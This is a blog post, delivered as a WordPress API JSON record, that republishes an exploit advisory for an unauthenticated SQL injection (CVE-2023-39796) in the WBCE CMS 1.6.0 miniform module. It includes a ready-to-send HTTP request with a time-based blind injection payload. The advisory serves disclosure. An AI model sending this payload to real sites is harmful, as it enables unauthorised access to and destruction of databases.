{"id":56268,"date":"2024-04-15T21:19:48","date_gmt":"2024-04-15T17:19:48","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178056\/wbce160-sql.txt"},"modified":"2024-04-15T21:19:48","modified_gmt":"2024-04-15T17:19:48","slug":"wbce-1-6-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wbce-1-6-0-sql-injection\/","title":{"rendered":"WBCE 1.6.0 SQL Injection"},"content":{"rendered":"<p># Exploit Title: |Unauthenticated SQL injection in WBCE 1.6.0<br \/># Date: 15.11.2023 <br \/># Exploit Author: young pope <br \/># Vendor Homepage: https:\/\/github.com\/WBCE\/WBCE_CMS <br \/># Software Link: https:\/\/github.com\/WBCE\/WBCE_CMS\/archive\/refs\/tags\/1.6.0.zip <br \/># Version: 1.6.0 <br \/># Tested on: Kali linux <br \/># CVE : CVE-2023-39796<\/p>\n<p>There is an sql injection vulnerability in *miniform* module which is a <br \/>default module installed in the *WBCE* cms. It is an unauthenticated <br \/>sqli so anyone could access it and takeover the whole database.<\/p>\n<p>In file \/modules\/miniform\/ajax_delete_message.php there is no <br \/>authentication check. On line |40| in this file, there is a |DELETE| <br \/>query that is vulnerable, an attacker could jump from the query using <br \/>tick sign &#8211; &#8220;`.<\/p>\n<p>Function |addslashes()| <br \/>(https:\/\/www.php.net\/manual\/en\/function.addslashes.php) escapes only <br \/>these characters and not a tick sign:<\/p>\n<p>* single quote (&#8216;)<br \/>* double quote (&#8220;)<br \/>* backslash ()<br \/>* NUL (the NUL byte<\/p>\n<p>The DB_RECORD_TABLE parameter is vulnerable.<\/p>\n<p>If an unauthenticated attacker send this request:<\/p>\n<p>&#8220;`<\/p>\n<p>POST \/modules\/miniform\/ajax_delete_message.php HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (X11; OpenBSD i386) AppleWebKit\/537.36 (KHTML, <br \/>like Gecko) Chrome\/36.0.1985.125 Safari\/537.36<br \/>Connection: close<br \/>Content-Length: 162<br \/>Accept: *\/*<br \/>Accept-Language: en<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Accept-Encoding: gzip, deflate<\/p>\n<p>action=delete&amp;DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)&#8211;+&amp;iRecordID=1&amp;DB_COLUMN=message_id&amp;MODULE=&amp;purpose=delete_record<\/p>\n<p>&#8220;`<\/p>\n<p>The response is received after 6s.<\/p>\n<p>Reference links:<\/p>\n<p>* https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-39796<br \/>* https:\/\/forum.wbce.org\/viewtopic.php?pid=42046#p42046<br \/>* https:\/\/github.com\/WBCE\/WBCE_CMS\/releases\/tag\/1.6.1<br \/>* https:\/\/pastebin.com\/PBw5AvGp<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: |Unauthenticated SQL injection in WBCE 1.6.0# Date: 15.11.2023 # Exploit Author: young pope # Vendor Homepage: https:\/\/github.com\/WBCE\/WBCE_CMS # Software Link: https:\/\/github.com\/WBCE\/WBCE_CMS\/archive\/refs\/tags\/1.6.0.zip # Version: 1.6.0 # Tested on: Kali linux # CVE : CVE-2023-39796 There is an sql injection vulnerability in *miniform* module which is a default module installed in the *WBCE* cms. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56268","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56268","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56268"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56268\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56268"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56268"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56268"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}